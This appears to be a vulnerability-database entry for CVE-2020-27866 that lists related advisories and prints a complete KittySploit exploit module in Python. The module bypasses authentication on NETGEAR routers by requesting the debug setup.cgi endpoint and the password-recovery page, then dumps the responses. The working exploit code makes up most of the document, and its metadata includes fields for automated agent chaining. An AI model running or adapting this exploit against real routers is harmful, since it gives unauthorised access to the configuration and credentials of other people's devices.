NETGEAR Debug Auth Bypass (CVE-2020-27866)
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| CVE-2020-27866 | 17 Mar 202113:30 | – | circl | |
| Multiple Netgear Products Licensing Issues Vulnerabilities | 11 Feb 202100:00 | – | cnnvd | |
| CVE-2020-27866 | 11 Feb 202123:35 | – | cve | |
| CVE-2020-27866 | 11 Feb 202123:35 | – | cvelist | |
| NETGEAR - Authentication Bypass Detection | 28 Jul 202611:27 | – | kittysploit | |
| NETGEAR - Authentication Bypass | 14 Oct 202602:05 | – | nuclei | |
| SonarQube - Authentication Bypass | 14 Oct 202602:05 | – | nuclei | |
| CVE-2020-27866 | 12 Feb 202100:15 | – | nvd | |
| CVE-2020-27866 | 12 Feb 202100:15 | – | osv | |
| Authentication flaw | 12 Feb 202100:15 | – | prion |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""NETGEAR password recovery auth bypass (CVE-2020-27866)."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'NETGEAR Debug Auth Bypass (CVE-2020-27866)',
'description': (
'Exploits CVE-2020-27866 on multiple NETGEAR routers: unauthenticated access to '
'/setup.cgi?todo=debug exposes debug mode and configuration pages.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2020-27866'],
'platform': Platform.LINUX,
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2020-27866'],
'tags': ['netgear', 'router', 'auth-bypass', 'vkev'],
'agent': {
'risk': 'high',
'effects': ['privilege_escalation'],
'expected_requests': 3,
'reversible': True,
'approval_required': True,
'produces': ['admin_surface'],
'chain': {'suggested_followups': ['scanner/http/cve_2020_27866_detect']},
},
}
def check(self):
r = self.http_request(
method='GET',
path='/setup.cgi?todo=debug&x=currentsetting.htm',
allow_redirects=False,
)
if r and r.status_code == 200 and 'Debug Enable!' in (r.text or ''):
return {'vulnerable': True, 'reason': 'NETGEAR debug bypass confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'Debug endpoint not exposed', 'confidence': 'medium'}
def run(self):
if not self.check().get('vulnerable'):
print_error('NETGEAR bypass failed')
return False
for path in (
'/setup.cgi?todo=debug&x=currentsetting.htm',
'/setup.cgi?todo=debug&x=passwd_recovery.htm',
):
r = self.http_request(method='GET', path=path, allow_redirects=False)
if r and r.status_code == 200:
print_success(f'{path} — {len(r.text or "")} bytes')
print_status((r.text or '')[:1500])
return True
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05 Oct 2026 14:20Current
8High risk
Vulners AI Score8
CVSS 28.3
CVSS 3.18.8
CVSS 38.8
EPSS0.08656